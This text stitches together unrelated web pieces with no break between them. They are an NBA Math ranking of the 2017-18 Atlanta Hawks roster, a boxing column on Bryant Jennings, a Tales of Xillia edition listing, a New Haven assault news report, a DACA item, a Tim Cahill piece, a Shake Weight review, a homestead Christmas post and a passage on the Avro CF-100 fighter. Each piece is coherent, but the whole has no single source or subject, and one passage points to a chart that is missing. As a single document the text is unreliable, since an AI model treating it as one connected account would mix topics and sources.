That’s the question 16 NBA Math staff members and contributors sought to answer, ranking each and every player in the sport’s premier league on a 1-to-12 scale and then seeing who emerged with the highest averages. The distant past was irrelevant. Long-term potential doesn’t matter. Only what could come to pass in 2017-18 is factored in, assuming health for those currently healthy and full recoveries from those presently injured. For example, Brandon Knight will still be included in this analysis; we just assumed he’d already completed his rehab for the torn ACL and now has that as a prior portion of his overall injury history.
All players were graded on the following scale by each evaluator, and ties between players with identical averages were broken by sorting the 16 scores from best to worst and propping up the men who had the highest mark at any point in the top-down progression:
Shouldn’t Get Minutes End-of-Bench Pieces Depth Pieces High-End Backups Low-End Starters Solid Starters High-End Starters, Non-All-Stars All-Star Candidates All-NBA Candidates, Non-MVP Candidates Lesser MVP Candidates MVP Frontrunners Best Player in the League (only one player could earn this grade on each ballot)
Journey with us team by team as we unveil the entirety of these rankings, culminating in a look at every player set to suit up for the 2017-18 campaign.
Today’s featured squad? The Atlanta Hawks, who figure to end their lengthy playoff streak and compete for one of the top picks in the 2018 NBA draft.
15. Nicolas Brussino: 1.63
Age at start of 2017-18 : 24
: 24 Position : SG/SF
: SG/SF 2016-17 Stats : 2.8 points, 1.8 rebounds, 0.9 assists, 0.3 steals, 0.1 blocks, minus-11.01 TPA (for Dallas Mavericks)
: 2.8 points, 1.8 rebounds, 0.9 assists, 0.3 steals, 0.1 blocks, minus-11.01 TPA (for Dallas Mavericks) Highest Grade : 3 (Jordan McGillis)
: 3 (Jordan McGillis) Lowest Grade: 1 (multiple voters)
If Nicolas Brussino can’t find success from beyond the arc, sticking in the NBA will become a rather difficult proposition. The 6’7″ swingman spent his rookie season with the Dallas Mavericks, and he failed to carve out a rotation role while hitting on just 30.5 percent of his three-point attempts. Brussino was an unremarkable player in Argentina who relied on spot-up attempts to score his points, and it doesn’t look as if that role is changing anytime soon.
14. Quinn Cook: 1.88
Age at start of 2017-18 : 24
: 24 Position : PG
: PG 2016-17 Stats : 5.6 points, 0.5 rebounds, 1.9 assists, 0.3 steals, minus-22.17 TPA (for Dallas Mavericks and New Orleans Pelicans)
: 5.6 points, 0.5 rebounds, 1.9 assists, 0.3 steals, minus-22.17 TPA (for Dallas Mavericks and New Orleans Pelicans) Highest Grade : 3 (Frank Urbina)
: 3 (Frank Urbina) Lowest Grade: 1 (multiple voters)
“Staying paranoid,” Quinn Cook said about the type of mentality that will help him stick, per NBA.com’s Jim Eichenhoffer. “I’ve never gotten too comfortable or complacent or looked ahead. I just try to win every day. There are a lot of guys in my situation who have done that, gotten an opportunity and never looked back.”
He shouldn’t be comfortable yet, either. The Atlanta Hawks may have signed him to a two-year contract, but it’s only partially guaranteed. And if he can’t keep showcasing his playmaking skills while connecting from beyond the arc at an impressive rate—42.3 percent on 1.9 attempts per game as a rookie—he’ll be a prime candidate to be waived and cede minutes to the other members of this young backcourt.
13. Tyler Dorsey: 1.88
Age at start of 2017-18 : 21
: 21 Position : PG/SG
: PG/SG 2016-17 Stats : 14.6 points, 3.5 rebounds, 1.7 assists, 0.8 steals, 0.1 blocks, 126.86 TPA (for Oregon Ducks)
: 14.6 points, 3.5 rebounds, 1.7 assists, 0.8 steals, 0.1 blocks, 126.86 TPA (for Oregon Ducks) Highest Grade : 3 (multiple voters)
: 3 (multiple voters) Lowest Grade: 1 (multiple voters)
Will Tyler Dorsey settle in as a point guard or a shooting guard? He’s shown flashes of ability at both positions, thriving as a slashing threat at Oregon while also involving his teammates whenever he was asked to work as a primary facilitator. But without elite quickness and in possession of a 6’5″ frame, he could have a tough time matching up at his more natural position—the 2.
A number of voters saw potential in Dorsey by grading him as a depth piece, which is by no means an unappealing score for a player selected at No. 41 in the 2017 NBA draft. But it’ll be tough for him to make good on that upside if the distributing acumen doesn’t translate.
12. Miles Plumlee: 2.25
Age at start of 2017-18 : 29
: 29 Position : C
: C 2016-17 Stats : 2.5 points, 2.1 rebounds, 0.5 assists, 0.4 steals, 0.3 blocks, minus-35.37 TPA (for Milwaukee Bucks and Charlotte Hornets)
: 2.5 points, 2.1 rebounds, 0.5 assists, 0.4 steals, 0.3 blocks, minus-35.37 TPA (for Milwaukee Bucks and Charlotte Hornets) Highest Grade : 3 (multiple voters)
: 3 (multiple voters) Lowest Grade: 1 (multiple voters)
One of the two prizes(?) in this summer’s Dwight Howard trade, Miles Plumlee won’t provide anything more than depth at the 5 for the Hawks. He’s been a poor man’s two-way center in previous years, using his motor to overcame his lack of top-tier wingspan on the defensive end and contributing in the pick-and-roll offensively. But during his brief time with the Charlotte Hornets in 2016-17, he only managed to contribute 0.8 points per possession as a roll man, which left him in the 14.2 percentile.
If that doesn’t change quickly, he’ll find himself glued to the bench all season.
11. DeAndre’ Bembry: 2.44
Age at start of 2017-18 : 23
: 23 Position : SG/SF
: SG/SF 2016-17 Stats : 2.7 points, 1.6 rebounds, 0.7 assists, 0.2 steals, 0.1 blocks, minus-32.37 TPA
: 2.7 points, 1.6 rebounds, 0.7 assists, 0.2 steals, 0.1 blocks, minus-32.37 TPA Highest Grade : 4 (Andrew Bailey)
: 4 (Andrew Bailey) Lowest Grade: 1 (multiple voters)
Until DeAndre’ Bembry overcomes his shooting woes, he’ll have a tough time breaking into the featured portion of the Atlanta rotation. The former Saint Joseph’s standout has plenty of potential in so many different areas, but he’s tough to use in head coach Mike Budenholzer’s offensive schemes when his presence wrecks the team’s spacing.
Bembry shot just 31.2 percent from beyond the NCAA arc during his three collegiate seasons, including a miserable 26.6 percent in his final campaign before declaring for the draft. But he was even worse as a rookie with the Hawks, going 1-of-18 (5.6 percent) from beyond the arc. He did show off with a 3-of-6 performance in four Las Vegas Summer League appearances, though, so perhaps a bit of optimism can persist.
10. Malcolm Delaney: 2.44
Age at start of 2017-18 : 28
: 28 Position : PG
: PG 2016-17 Stats : 5.4 points, 1.7 rebounds, 2.6 assists, 0.5 steals, minus-146.88 TPA
: 5.4 points, 1.7 rebounds, 2.6 assists, 0.5 steals, minus-146.88 TPA Highest Grade : 4 (Tim Stubbs)
: 4 (Tim Stubbs) Lowest Grade: 1 (multiple voters)
Rookie point guards can often struggle in the Association as they learn how to create their own shooting opportunities and deal with careless turnovers. The game is just that much faster, after all. But Malcolm Delaney took his offensive struggles to the proverbial next level, as his placement in NBA Math’s offensive points added indicates when stacked up against all other first-year contributors:
That’s…not ideal.
His work overseas indicates he’s far better at creating off the bounce than he displayed in 2016-17, but he needs to prove himself—and quickly.
9. Luke Babbitt: 2.63
Age at start of 2017-18 : 28
: 28 Position : SF/PF
: SF/PF 2016-17 Stats : 4.8 points, 2.1 rebounds, 0.5 assists, 0.3 steals, 0.2 blocks, minus-38.02 TPA
: 4.8 points, 2.1 rebounds, 0.5 assists, 0.3 steals, 0.2 blocks, minus-38.02 TPA Highest Grade: 3 (multiple voters)
3 (multiple voters) Lowest Grade: 1 (Nick Birdsong)
Depth pieces often need one go-to skill, and Luke Babbitt most assuredly possesses one. Without his shooting acumen, 11 members of our 16-person panel likely wouldn’t have called him a depth piece in this preseason exercise.
Babbitt worked his way into the Miami Heat’s starting lineup out of necessity, but he then proved he might actually belong because his floor-spacing habits were so valuable in the drive-and-kick offense. He knocked down 41.4 percent of his three-point attempts while taking 3.1 per game, which means hitting at over a 40 percent clip in Atlanta would give him four consecutive campaigns in that exclusive category.
8. John Collins: 3.25
Age at start of 2017-18 : 20
: 20 Position : PF
: PF 2016-17 Stats : 19.2 points, 9.8 rebounds, 0.5 assists, 0.6 steals, 1.6 blocks, 124.33 TPA (for Wake Forest Demon Deacons)
: 19.2 points, 9.8 rebounds, 0.5 assists, 0.6 steals, 1.6 blocks, 124.33 TPA (for Wake Forest Demon Deacons) Highest Grade : 4 (multiple voters)
: 4 (multiple voters) Lowest Grade: 2 (Tim Stubbs)
The No. 19 pick of the 2017 NBA draft, John Collins immediately began looking like a steal with his high-flying habits in exhibition season. During five games for the Hawks in Las Vegas Summer League, the Wake Forest product produced plenty of highlight-reel dunks while averaging 15.4 points and 9.2 rebounds. Better still, he looked comfortable as he slashed 59.3/100.0/66.7.
Yes, this is only summer league. Plenty of standout performances during the hottest months of the year flop when contests actually count. But Collins still looked the part of a future star and franchise centerpiece, doing enough to convince five different voters he should already be considered a high-end backup.
7. Mike Muscala: 3.31
Age at start of 2017-18 : 26
: 26 Position : PF/C
: PF/C 2016-17 Stats : 6.2 points, 3.4 rebounds, 1.4 assists, 0.4 steals, 0.6 blocks, 25.1 TPA
: 6.2 points, 3.4 rebounds, 1.4 assists, 0.4 steals, 0.6 blocks, 25.1 TPA Highest Grade : 4 (multiple voters)
: 4 (multiple voters) Lowest Grade: 3 (multiple voters)
Last season, Mike Muscala shot 41.8 percent from downtown while launching 1.6 treys per game. Pau Gasol was the only big man who could match those numbers throughout 2016-17. On the other end of the floor, Muscala held opponents to 49.3 percent shooting while protecting the rim, and he did so while squaring off against an even four attempts per contest. This time, only 21 other players could match those figures—a larger group than the previous one, but still impressively small.
Does this mean Muscala is a two-way star? Of course not. But it does show his skill in a number of different areas, which helps make him a convincing second-string option who no voter graded as anything worse than a depth piece or better than a high-end backup. Few players had such little variance between their highest and lowest marks.
6. Marco Belinelli: 3.44
Age at start of 2017-18 : 31
: 31 Position : SG
: SG 2016-17 Stats : 10.5 points, 2.4 rebounds, 2.0 assists, 0.6 steals, 0.1 blocks, minus-67.36 TPA (for Charlotte Hornets)
: 10.5 points, 2.4 rebounds, 2.0 assists, 0.6 steals, 0.1 blocks, minus-67.36 TPA (for Charlotte Hornets) Highest Grade : 5 (Tony East)
: 5 (Tony East) Lowest Grade: 3 (multiple voters)
The first member of Atlanta’s roster to receive a starting vote, Marco Belinelli joins Miles Plumlee as one of the prizes(?) of the Dwight Howard trade. And quite frankly, he could remove the question mark if he keeps playing like he did with the Charlotte Hornets last season—far from a pipe dream when the Budenholzer system should fit his style perfectly.
Belinelli’s stock is still recovering from his atrocious tenure with the Sacramento Kings, one in which he shot just 38.6 percent from the field and 30.8 percent from beyond the rainbow during 68 appearances off the bench. He’s still a talented marksman who can overcome his advancing age and defensive porosity to add value to his team’s efforts, even if he’s more of a specialist than anything else these days.
5. Taurean Prince: 3.63
Age at start of 2017-18 : 23
: 23 Position : SF
: SF 2016-17 Stats : 5.7 points, 2.7 rebounds, 0.9 assists, 0.7 steals, 0.5 blocks, minus-47.77 TPA
: 5.7 points, 2.7 rebounds, 0.9 assists, 0.7 steals, 0.5 blocks, minus-47.77 TPA Highest Grade : 5 (multiple voters)
: 5 (multiple voters) Lowest Grade: 2 (multiple voters)
Based on FiveThirtyEight’s CARMELO projections, Taurean Prince’s three closest comparisons stem from Rick Fox, Danny Granger and Rodney Rodgers. And the Hawks shouldn’t complain if the rising sophomore turns into any of those forwards, though they’ll certainly hope he develops into an even more dangerous three-point shooter.
But the development won’t be sudden. Matching his playoff numbers (11.2 points and 5.3 rebounds per game while shooting 55.8 percent from the field) would make for a great start, especially as he shows off his defensive versatility in a starting role. The Hawks presumably want him to become a wing capable of guarding multiple positions and switching on most screens, and proving them correct would go a long way toward justifying the three optimistic voters who decided he was already a low-end starter heading into his second professional season.
4. Ersan Ilyasova: 4.00
Age at start of 2017-18 : 30
: 30 Position : PF
: PF 2016-17 Stats : 13.1 points, 5.9 rebounds, 1.7 assists, 0.7 steals, 0.3 blocks, minus-17.51 TPA (for Oklahoma City Thunder, Philadelphia 76ers and Atlanta Hawks)
: 13.1 points, 5.9 rebounds, 1.7 assists, 0.7 steals, 0.3 blocks, minus-17.51 TPA (for Oklahoma City Thunder, Philadelphia 76ers and Atlanta Hawks) Highest Grade : 6 (Nick Birdsong)
: 6 (Nick Birdsong) Lowest Grade: 3 (multiple voters)
At this point, we know just about what to expect from Ersan Ilyasova.
Though he won’t do much on the defensive end, given his limited foot speed and shaky instincts, he’ll always display a willingness to sacrifice his body. One of the NBA’s true charge-taking masters, he slid in front of 0.44 opponents per game in 2016-17—a tally literally no one who played in at least 30 games could match. And yet, offense remains his bread and butter, thanks largely to his floor-spacing abilities and knack for finishing plays all over the half-court set. Ilyasova might not be someone you want to build around, especially as he enters his 30s, but he’s the type of rotation player many teams would love to have on the roster.
3. Kent Bazemore: 4.50
Age at start of 2017-18 : 28
: 28 Position : SG/SF
: SG/SF 2016-17 Stats : 11.0 points, 3.2 rebounds, 2.4 assists, 1.2 steals, 0.7 blocks, minus-31.87 TPA
: 11.0 points, 3.2 rebounds, 2.4 assists, 1.2 steals, 0.7 blocks, minus-31.87 TPA Highest Grade : 6 (multiple voters)
: 6 (multiple voters) Lowest Grade: 4 (multiple voters)
After a 2015-16 campaign in which he posted 12.64 TPA for the Hawks, Kent Bazemore signed a four-year, $70 million contract to remain with the team. Then he promptly forgot how to shoot the basketball, knocking down only 40.9 percent of his field-goal attempts and 34.6 percent of his triples. Declining in nearly every area led to the TPA plummet, and his contract now looks like one of the league’s more unpalatable commitments.
But Bazemore still has time to turn this around. He’s only 28 years old, still in possession of the athleticism and rangy defensive skills that made him a switching terror full of energy and drive to contribute on both ends. It’s just his offense that’s lagging behind the developmental curve, and Budenholzer’s ball-sharing strategems have teased out impressive offensive production from far more limited wings in previous seasons.
2. Dewayne Dedmon: 4.63
Age at start of 2017-18 : 28
: 28 Position : C
: C 2016-17 Stats : 5.1 points, 6.5 rebounds, 0.6 assists, 0.5 steals, 0.8 blocks, 44.37 TPA (for San Antonio Spurs)
: 5.1 points, 6.5 rebounds, 0.6 assists, 0.5 steals, 0.8 blocks, 44.37 TPA (for San Antonio Spurs) Highest Grade : 6 (multiple voters)
: 6 (multiple voters) Lowest Grade: 3 (multiple voters)
With Dewayne Dedmon on the bench, the San Antonio Spurs allowed 105.4 points per 100 possessions in 2016-17. That’s an impressive enough figure, but it still pales in comparison to the 100.1 defensive rating the team posted while it’s now-departed center was patrolling the paint. Regardless of the teammates with whom he was suiting up, the breakout big was able to hedge and recover against screens while shutting down the interior. He was a legitimate defensive menace, and the Hawks now hope he can maintain those skills for Spurs East.
Of course, Dedmon is by no means a perfect player. He’s not even perfect on the defensive end, which is why only nine of the 16 voters thought he graded out as a starting-caliber player. Until he becomes a higher-volume offensive contributor and avoids the excessive fouling that sends opponents to the stripe for free points, he’ll struggle to earn the minutes necessary to move into the fives and ascend higher up these rankings.
1. Dennis Schroder: 5.81
Age at start of 2017-18 : 24
: 24 Position : PG
: PG 2016-17 Stats : 17.9 points, 3.1 rebounds, 6.3 assists, 0.9 steals, 0.2 blocks, minus-35.29 TPA
: 17.9 points, 3.1 rebounds, 6.3 assists, 0.9 steals, 0.2 blocks, minus-35.29 TPA Highest Grade : 7 (multiple voters)
: 7 (multiple voters) Lowest Grade: 5 (multiple voters)
In a vacuum, Dennis Schroder’s play throughout the 2016-17 campaign did not deserve unanimous recognition as a starting-caliber player. Though he posted gaudy per-game offensive figures for the Hawks, he was was an inefficient and inconsistent shooter who struggled with turnovers and often functioned as a sieve on the defensive end. For all his speed and physical tools, he got fooled far too frequently in the pick-and-roll, ceding 0.88 points per possession to opposing ball-handlers and finishing in the 40.4 percentile.
But growing pains should’ve been expected during Schroder’s first season as the unquestioned starter.
Now, with the departures of Dwight Howard and Paul Millsap, he’s quite clearly the best player on Atlanta’s roster. And yet, he’ll still be just 24 years old at the start of the next campaign, giving him more than enough time to continue trending up—something he’s done during each and every season of his Peach State tenure. As he grows more efficient on offense and continues recognizing sets defensively, he’ll leave little doubt he can be a long-term answer at point guard with the enduring potential to become so much more.
Who’s rated too high? Who are we selling short? Join the conversation using #CrystalBasketball on Twitter.
Follow NBA Math on Twitter @NBA_Math and on Facebook.
Unless otherwise indicated, all stats are from NBA Math or NBA.com.
The Philadelphia fighter with a big personality is sitting in the mandatory position to be the next opponent for the winner of the fight between titleholder Bermane Stiverne (24-1, 21 KOs) and undefeated current mandatory challenger Deontay Wilder (32-0, 32 KOs). They are slated to fight on Jan. 17 -- although the fight has not been formally announced -- and the winner is obligated to fight Jennings next.
It's a fight Jennings (19-0, 10 KOs) wants. Jennings, who handed Mike Perez and Artur Szpilka their first losses in his past two fights, both eliminators, could have fought on HBO this month, but passed up the opportunity in order to wait things out for the title fight.
"I could have fought this month but my mind is set on fighting for the WBC world title," Jennings said. "I worked my way to the top of the WBC rankings and now it's time for me to make my mark in history. Stiverne or Wilder, I don't care who it is. I'll be ready to fight either one of them. My promoters, Gary Shaw, Antonio Leonard, and I are all on the same page. We want that WBC title.
"I'm grinding every day like machine. I'm constantly visualizing myself with my hands raised in the air with the WBC strap around my waist. I'm hungry, man. I know I can do this."
Perhaps they do want that belt, but Jennings' position is even more enviable because he is also a wanted man by Wladimir Klitschko (63-3, 54 KOs), the 38-year-old lineal champion with all the other alphabet belts.
Klitschko, who looked spectacular in his devastating four-knockdown, fifth-round knockout of unbeaten Kubrat Pulev in his 17th title defense last Saturday in Germany (where he usually fights), is making plans to have the second fight of his new three-fight HBO contract in the United States, where he has not fought since shutting out Sultan Ibragimov to unify two belts at Madison Square Garden in New York in 2008.
Klitschko has told me multiple times that he would like to fight again in the United States and, from what I am told, his fiance, American television star Hayden Panettiere, who is due any day with their first child (a girl), also wants him to fight in America.
So if Klitschko is going to come back and fight in the United States he needs a legitimate and marketable opponent. Jennings, 30, is that guy. He's undefeated, he has won his past two fights on HBO, he looks the part, he talks a good game and, most importantly, he's a legitimate top-10 contender.
"Bryant is a very gifted athlete who is hungry to show the world that he's an elite fighter," Shaw said. "He has got the athletic ability to have a long career in this sport. The heavyweight division needs a guy like Bryant to be the ambassador for American fighters. He has all the tools to become that guy."
So while Jennings' focus is on the Stiverne-Wilder winner, Klitschko is his more likely next opponent. If he waits on the Stiverne-Wilder winner, he likely wouldn't get a shot until at least next summer.
Jennings can get Klitschko in March or April and, let's be honest, he'd get a lot more credit for beating Klitschko -- the real champion -- or even performing well against him in a loss, than he would for beating the Stiverne-Wilder winner.
Shaw and Bernd Boente, Klitschko's manager, have already begun negotiating the deal.
"I have been contacted by the Klitschko people and they have spoken to me about a possible deal for a fight in the U.S. in the first quarter of 2015," Shaw said.
The Klitschko camp is also having conversations with executives from the two leading New York arenas: Madison Square Garden and the Barclays Center, which has wanted Klitschko to fight in the building. Klitschko wants his next American fight to be in New York.
HBO is on board for Klitschko-Jennings and I am told it's willing to pay about $3 million to put it on.
Boente told me, "I also hope that we can make a fight in New York work. It comes down to either MSG or Barclays if we do a fight in the U.S. Jennings would be the preferred opponent for HBO."
Boente said while there have been talks with Shaw, they are apart on the money. This is boxing. That is no surprise, especially in the early going of talks.
Jennings is going to get a title shot. It's just a matter of against whom. Boente, Shaw and HBO will make the sausage over the next couple of months.
By Spencer . June 7, 2013 . 11:11pm
Namco Bandai confirmed that the Tales of Xillia Collector’s Edition with the Milla Maxwell figurine and the Tales of Xillia Limited Edition will both have the "Classic Tales of Costume Pack." This code unlocks a Stan costume for Milla and a Cless costume for Jude. The music CD in both packages is also the same.
To make it crystal clear, here’s what is included in each edition.
Tales of Xillia Collector’s Edition – $99.99
Tales of Xillia for PlayStation 3
Milla Maxwell figurine and base (21.5 centimeters in height)
Art book with 100 pages
Tales of Xillia music CD
Code for the Classic Tales of Costume DLC
Tales of Xillia Limited Edition Package – $59.99
Tales of Xillia for PlayStation 3
Tales of Xillia music CD
Code for the Classic Tales of Costume DLC
Collectible character profile booklet
Tales of Xillia comes out on August 6 in North America.
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Kelton Gilbert Jr. and Lawrence Minor Jr. Kelton Gilbert Jr. and Lawrence Minor Jr. Photo: Photos Courtesy Of The New Haven Police Department Photo: Photos Courtesy Of The New Haven Police Department Image 1 of / 1 Caption Close Two men, juvenile charged in New Haven attack on Yale professor, 79 1 / 1 Back to Gallery
NEW HAVEN >> Two men, from Hamden and New Haven, along with a juvenile, were charged Wednesday night with attacking a Yale professor, 79, as he walked home in late November.
Kelton Gilbert Jr., 18, of Hamden, Lawrence Minor Jr., 19, of New Haven, and a New Haven boy, 17, were charged in connection with the Nov. 27 robbery and assault. All three admitted that two other people participated, police spokesman Officer David Hartman said in a press release Thursday.
Hartman said none of the suspects would provide the identities of the other two people, who remain at large.
He said the case remains under investigation and anyone with information about the attack is urged to call investigators at 203-946-6304. Calls can be made anonymously.
Hartman also credited Yale University police, saying they were instrumental in identifying the three suspects.
Police have previously said the Yale professor was on his way home from work on Hillhouse Avenue when five young men reportedly attacked him and robbed him near the intersection of Whitney Avenue and Bradley Street.
The professor got home and when his wife saw his injuries, she quickly called for help. The man was taken to the hospital and police began to search for suspects.
The victim told detectives he had seen five men pass him on Whitney Avenue. He said one was on a bicycle and the other was “obese.”
As the man turned onto Bradley Street, he said he saw the same group and one of them hit him from behind. He said he was kicked, punched, thrown to the ground and lost consciousness. When he regained consciousness, he said his backpack and wallet were gone.
Hartman said a witness also saw the group of young men but didn’t realize they were committing a robbery until they saw the suspects fleeing and saw the victim on the ground.
The teen, along with Gilbert, who lives on Mix Avenue in Hamden, and Minor, who lives on Lloyd Street in New Haven, were all charged with first-degree assault, first-degree assault on an elderly person, first-degree robbery, second-degree larceny, reckless endangerment, and conspiracy.
House Homeland Security Chairman Mike McCaul of Texas, Judiciary Chairman Bob Goodlatte of Virginia, House Freedom Caucus Chairman Mark Meadows of North Carolina, Rep. Raul Labrador of Idaho and Rep. Martha McSally of Arizona were among those in the meeting.
Some Republicans are urging the GOP Congress to take up the issue of DACA, a program that prevented the deportation of those who were brought to the country illegally as children and allows them to work and attend school, in the first few weeks of January in order to avoid the Democrats from using the January 19 government-funding deadline to extract more concessions.
Democratic Rep. Debbie Dingell from Michigan told CNN’s “New Day” that bipartisan agreement is possible on DACA, because Trump, the GOP and Democrats all agree that something must be done.
Democrat Rep. Debbie Dingell: We will work with Trump on infrastructure if he works with us https://t.co/lOX12lfgAr — New Day (@NewDay) December 26, 2017
Other Democrats are concerned their party will allow a spending bill to go through without protecting DACA recipients, with Illinois Rep. Luis Gutierrez telling The Hill that “I think Democrats have really not stood up for the Dreamers as they can."
Fresh off of an African Safari vacation with his family, the Red Bulls’ Designated Player was confronted with questions over his club status, particularly in light of an Australian report earlier this year claiming New York were set to cut Cahill at season’s end.
“They, let me go?” Cahill said with a laugh, hand on his forehead. “For me, it’s easy. I have loads of options but if I want to stay, I will stay.
“I only join a club with a vision,” he continued. “And if the vision is fulfilled, then I’ll fulfill it. If it’s not, then I will fulfill it somewhere else.”
Cahill’s statement is hardly a ringing endorsement for a return, further indicating tensions may still exist in both camps. The Australian legend had a fall from grace at the club level this year, butting heads with the technical staff over playing time and his commitments on the international level. That came to a boil late in the year as Cahill took his gripes to the media in a memorable display of discontent.
On the other side, Red Bull have remained mostly quiet about their DP, but did put he was left unprotected by the club in the expansion draft, leading many to conclude problems continue to prevail amongst club and player.
While his response may not give the impression of a player set to return, Cahill softened his message and praised the club in his subsequent statements.
“It’s a great club, great setup, great people and we are on great terms,” he said. “But at the end of the day for me, it is more about my family and what’s good for international football.”
He went on to tell the Fox Sports team, “We’ve won a trophy, it’s been amazing, stadiums have been full, we’ve made a massive impact on New York …. So my thing is vision. I always like long-term association and I don’t like short-term.”
Cahill has a year remaining on his contract, but his future is as murky as ever. On the one hand, he comes off flabbergasted at the mere mention of the club cutting him, fighting the narrative to make clear that it is his decision whether to move on or not. On the other, he goes to painstaking lengths to praise the club and speak of a long-term association.
The next time you're flipping through the channels and an infomercial about exercise equipment is airing---be skeptical. Especially if the folks hawking said device claim that you only need to use it for six minutes a day for great results. Six minutes a day? Are you kidding me? As I've said before and I'm sure I'll say again, obtaining proper health and wellness requires work. You can’t expect to literally "shake a weight" for six minutes a day and expect the significant results you'd most definitely prefer.Where are the research study statistics? When I entered the Shake Weight website looking for the research, there was only one thing to do on the website other than to watch the annoying video, which as you can imagine, was to order the dumbbell. But don’t worry, if you order it and you're not satisfied with the results you get in six minutes, the good people over at Shake Weight will gladly take their product back and even pay for shipping. How generous.
There are actually two websites, one for men and another for women. The men’s website video actually shows a man reaching muscular fatigue by shaking the dumbbell. I don’t think he's experiencing actual fatigue; I think it’s his brain telling the guy he is embarrassing himself and he better stop!
Speaking of the website, why are the men and women on this website in such great shape? Is it because they've been using the shape weight for their recommended six minutes a day? I would love to find them to ask them if using this product was the sole factor in how they achieved their buff bodies.
Here's a little secret: you can do this silly exercise on your own without ever buying the product. Take a Poland Spring water bottle, or any long cylindrical bottle for that matter, fill it to 75% capacity and shake it just like they do on the video. I promise you the same results of the Shake Weight.
However, before you shake your water bottle, I want you to put on your Reebok Easytones, this way while you are shaking the weight you will improve your butt at the same time, ok? Try that for six minutes/day and see where it gets you. Look, Charles Barkley tried it and Saturday Night Live also found the Shake Weight humorous. The only thing Charles Barkley worked was his abdominals by laughing at this preposterous product. I give the Shake Weight two thumbs down.
So often on the homestead we focus on other seasons of year, in the spring we are planting, in the fall we are harvesting, but this time of the year for us is a season of traditions. It really begins the Friday after Thanksgiving when our bellies are still full, we put on some classic Christmas music and dig all the decorations up out of the basement, we put up the tree and set out all the trinkets.
That evening we take our annual trip down to historic
Metamora Indiana for the Christmas Walk and do some shopping, we always get a new Christmas tree ornament and fill up on hot cider and hot chocolate. The Fire department there always hosts a fundraising dinner which we love to support. Then for the next days and weeks it’s me and my wife curling up on the couch many evenings watching all the usual Christmas shows like “A Christmas Story,” “It’s A Wonderful Life” and as much as I hate to admit it “Charlie Brown Christmas”.
Finally Christmas Eve is here, the kids are all coming home to visit. As the evening arrives our church holds a special Christmas Eve Celebration each year where we sing
songs to be reminded of God’s goodness and mercy and the way he made for the redemption of His children. We listen to our Pastor read “The Innkeeper” by John Piper and then we conclude with a candlelight service. What a wonderful way to be reminded what it’s all about before we go to bed.
Christmas morning is finally here, when the kids were little they would be waking us up before daylight but not anymore, they like to sleep in a bit. I usually make us a breakfast of bacon, eggs and toast and then we prepare to open our presents. Before we do I will read the story of the birth of Christ from Luke 2:1-20 to be reminded of the greatest of all gifts we have received and then we open our presents.
The rest of the day is spent visiting some other family members who live nearby, calling some friends to see what they got and then we start cooking our dinner. A Christmas ham is the star of this show, a green bean casserole, biscuits and some other sides. We gather around the table, thank God for His gifts and enjoy our meal. Already I’ll be starting to think about my daughters leaving soon and wishing they didn’t have to, but while they are here we will share some laughs, tell some stories and have a great time.
Someone may ask “what does all this have to do with homesteading?” To that I say “this is what homesteading is all about! Fun, Family and Worship of Our Lord”. Maybe you have other motivations and other traditions but I don’t think there are any that are better, at least for my family that is. Share with us your thoughts on our traditions and tell us some yours, we would love to hear them and maybe even adopt some of them as our own. May God bless your homesteading Journey.
Design and development [ edit ]
In the early 1950s, Canada needed an all-weather interceptor (fighter) able to patrol the vast areas of Canada's north and operate in all weather conditions. The two-seat fighter crewed by a pilot and navigator was designed with two powerful engines and an advanced radar and fire control system housed in its nose that enabled it to fly in all-weather or night conditions.
CF-100 Prototype 18102
Weapons Practice Unit CF-100 Mk 5 firing rockets at first annual Air Defence Command rocket meet, Cold Lake , September 1957.
Design of the XC-100 to meet a Royal Canadian Air Force (RCAF) specification for an all-weather fighter was initiated at Avro Canada in October 1946. Chief Engineer Edgar Atkin's work on the CF-100 was subsequently passed to John Frost (formerly of de Havilland) who, along with Avro's Chief Aerodynamacist Jim Chamberlin, reworked the original fuselage design. The CF-100 Mark 1 prototype, "18101," emerged from the factory, painted gloss black overall with white lightning bolts running down the fuselage and engines. The CF-100 prototype flew its maiden flight on 19 January 1950 with Gloster Aircraft Company Chief Test Pilot Squadron Leader Bill Waterton (on loan from Gloster, then also part of the Hawker Siddeley group) at the controls.[1] The Mark 1 was powered by two Rolls-Royce Avon RA 3 turbojets with 28.9 kN (2,950 kgp / 6,500 lbf) thrust each.
The second prototype, serial number 18102, was also powered by Rolls-Royce Avons, although subsequent pre-production and production series aircraft used the Avro Orenda turbojet. Five pre-production Mk 2 test aircraft (serial numbers 18103-18107) were produced, all fitted with Orenda 2 engines; one was fitted with dual controls and designated a Mk 2T trainer. The first production version, designated Mk 3, incorporated the APG-33 radar and was armed with eight .50 caliber Browning M3 machine guns. The Mk 3CT and Mk 3DT were again dual control versions supplied to operational training units.
A CF-100 arrived at Eglin AFB, Florida, in mid-January 1955 for cold-weather tests in the climatic hangar. A seven-man RCAF team, headed by Flight Lieutenant B. D. Darling, which had previously conducted tests at Namao Air Base, Alberta, were part of the climatic detachment of Central Experimental and Proving Establishment. Tests were to begin in February.[2]
In March 1956, four CF-100 Canucks were sent to Eglin AFB for comparative armament trials, and flown by USAF crews.[3] The operational suitability tests, dubbed Project Banana Belt, were carried out by the 3241st Test Group (Interceptor) of the APGC's Air Force Operational Test Center, in conjunction with a project team from the Royal Canadian Air Force.[4]
Production [ edit ]
In September 1950, the RCAF ordered 124 Mk 3s, the first entering service in 1953. These were armed with eight .50 caliber machine guns. The definitive rocket-armed Mk 4A was based on the prototype Mk 4 (a modified Mk 3), which first flew on 11 October 1952. The nose housed the much larger APG-40 radar with wingtip pods, each containing up to 29 Mk 4/Mk 40 "Mighty Mouse" Folding-Fin Aerial Rocket in addition to the guns. As the last 54 of an order for the Mk 3 were changed into the Mk 4 in 1954, total orders for the Mk 4 rose to 510. The Mk 4B version had more powerful Orenda 11s.
Five versions, or marks, were produced, ending, from 1955 onwards, with the high-altitude Mk 5 that featured a 1.06 m (3 ft 6 in)-longer wingtip and enlarged tailplane, along with removal of the machine guns. The proposed Mk 6 was to have mounted Sparrow II missiles and been powered by afterburning Orenda 11IR engines in an effort to provide an "interim" fighter prior to the introduction of the Avro Canada CF-105 Arrow. A projected transonic swept-wing CF-103 was built in mock-up form in 1951, but was considered obsolescent even before the CF-100's demonstrated ability to exceed the speed of sound in a dive. On 18 December 1952, Squadron Leader Janusz Żurakowski, the Avro company chief development test pilot, took the CF-100 Mk 4 prototype to Mach 1.0 in a dive from 9,100 m (30,000 ft), the first straight-winged jet aircraft to achieve controlled supersonic flight.[5]
Operational history [ edit ]
